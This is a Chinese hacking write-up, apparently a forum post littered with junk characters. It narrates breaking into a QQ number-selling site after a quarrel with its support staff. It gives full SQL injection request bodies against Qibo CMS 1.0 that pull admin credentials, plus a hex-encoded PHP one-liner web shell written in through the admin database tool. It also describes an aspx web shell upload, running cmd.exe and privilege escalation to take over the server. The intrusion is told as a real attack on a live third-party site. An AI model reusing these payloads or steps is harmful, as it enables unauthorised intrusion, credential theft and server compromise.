|
- B& y+ V& |8 g
, i& G/ e! \! a
! ~) Z! E7 q! Z$ x
3 U' J0 Z6 l# i) t( X# Y 一、踩点寻找漏洞 1 [ } D9 `) n# D
闲来无事,在各个QQ靓号群求买5位QQ,寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com,打开一看就一静态页面,哇好多靓号啊,90000000,300000,98888888,199999999,哇这么多靓号,然后我去联系客服,要求客服登录账户看看,此处略去100字,然后开始撕逼,然后就有了下文。。。。
1 c- u1 C) E, Q随手拿御剑扫了一下好多php页面,随手加一个member发现是齐博1.0的内容管理系统,然后就去百度找漏洞,什么后门漏洞一一做测试都无果,找来找去找到一个全版本的注入漏洞,详细利用方法如下: 4 H5 [- N3 K5 b0 a( N8 x
先注册一个用户,记住注册时候的邮箱以uid号,
) [9 G- K, l$ R# r( a6 _6 B & ^3 q8 P+ G# j# ]
 : Z! d ]+ w5 O5 _
然后我们打开火狐浏览器简单构造一下,http://www.qq.com/member/userinfo.php?job=edit&step=2,发送数据包如下: ! n- L, ~# r M! p% p
0 w( \. J) l6 |- C" W9 |+ M ~
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23 ! | g* ~1 D6 M5 {5 n/ K
这里的email和uid一定要和注册的账号所吻合,然后访问,提示成功以后查看用户资料如图: + d( Z4 o/ P- d% {
 + d$ T3 u& M" `% ]
确实存在注入漏洞,那么我们来注入一下管理账号密码,修改数据包如:truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
: Y4 R' O+ x+ `' u5 e 2 K+ i$ M- N& j6 | w" O4 l
/ ^0 y, x4 e3 |: i解密进后台如图: % Y( l1 n( ^8 Z6 Z. R; E3 r

: b5 z8 ^0 y7 B$ k- T ? E7 V& b( ~ 7 A+ _+ u7 G1 Z' E3 t$ t) v0 n7 t
5 Y# K/ L6 Z Q二、后台getwebshell
+ d0 n8 x" @. A8 ~, [进了后台,以前齐博有个后台getwebshell漏洞,在系统功能- 单篇文章独立页面管理-增加页面添加个webshell,如图: 0 t$ Y# b V! q4 t; e |
! Y8 y% b0 l" Y2 o! q
 $ Q6 E! |% l7 U8 ~1 _/ V
3 ?# ^& _* \2 H/ N0 U
然后点确定,添加提示
! B. i8 g- R g* |, M5 w- s , ]' U. Q+ e" D7 N( u

/ r5 b+ ?5 v1 S" L/ v 0 Q2 j3 r; V5 ^' i; z
由于是ii6.0的所以我们可以考虑一下解析漏洞,我们再来如图: 2 f3 P& ?; k: T, E
0 X- ~, ^& y* }7 }
 7 ^. Y/ O- U6 G( f @
改静态页面为help.php;.htm,然后我们发现访问help.php;.htm是404(写文章之前测试是可以成功写入的),欧巴,他么的我们再想想别的办法,抽了一支烟,我们继续,他这里不是有个服务器信息、数据库工具吗,之前我们测试当前用户名是root,那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话,屌屌的妈妈的,我们来演示一下,先把一句话hex编码一下,<?php assert($_POST[sb]);?>编码以后是:0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\,注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下 & H: w4 B( p5 H; @
如图:
' J, \9 f" x# a# L9 | 1 |# p! @8 K' t3 s. G

- g6 z$ I& R' _ [1 h 7 g- `# }, b: N5 J2 }0 U
之前已经测试过了用普通菜刀无法连接,测试用过狗菜刀也无法连接,用xiese打开
5 X7 ]3 X5 P. W# h6 `# P
# h$ a7 c9 F/ I- g1 E$ f4 m
! {9 h6 \" _- M* u$ B% q _! z7 n6 W9 f/ p% C9 k: n L
三、提权进服务器
5 F( l* g# C5 N4 G6 t% O经测试xise下一句话只有在admin目录下有权限浏览,且不能执行命令,庆幸的是支持aspx,那么我们就上一个aspx大马,然后执行命令提示拒绝访问,哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo,发现打了400多补丁,如图:
* T9 @$ J5 r" L: v7 g `. R2 N, J% a & n: M+ R3 _8 e z, Q
; `3 I6 S( w: |) b啧啧啧,这么多补丁,我都没去试试今年和2014年放出来的exp,而且是在咱们大00下载了一个变异pr,然后上传提权如图:
, W$ V1 i7 l; t4 x& W v- H2 u1 A" |: v$ R# E; N
. W$ I+ J( c5 m. G* m' X$ x然后登陆服务器如图:
- t) g1 G4 c: V# P' z" b0 B) ~ |
( R. H5 J: |1 Y" n! g
5 M7 M& J, t5 K% d! L* s1 e % j% ]/ c+ K! y. T
5 d5 S9 R* c6 D5 P% M' V3 k
; \1 m! c0 Z. p# _; I难怪普通刀连接不上,原来是有狗。 4 ^- a6 x" k3 Y; ~4 L+ X! b% T
4 ~/ H: {1 m. L/ m/ \+ B& P
3 d0 A1 i3 {8 z6 T 3 s8 I, E9 a* K& ~! W' ~. L) ~
. q: ]3 ~. r/ q; v- N! [
9 b% Y( C7 V5 C! B$ Z
: r$ Q8 Y) |9 t6 m2 e1 F1 ^2 l |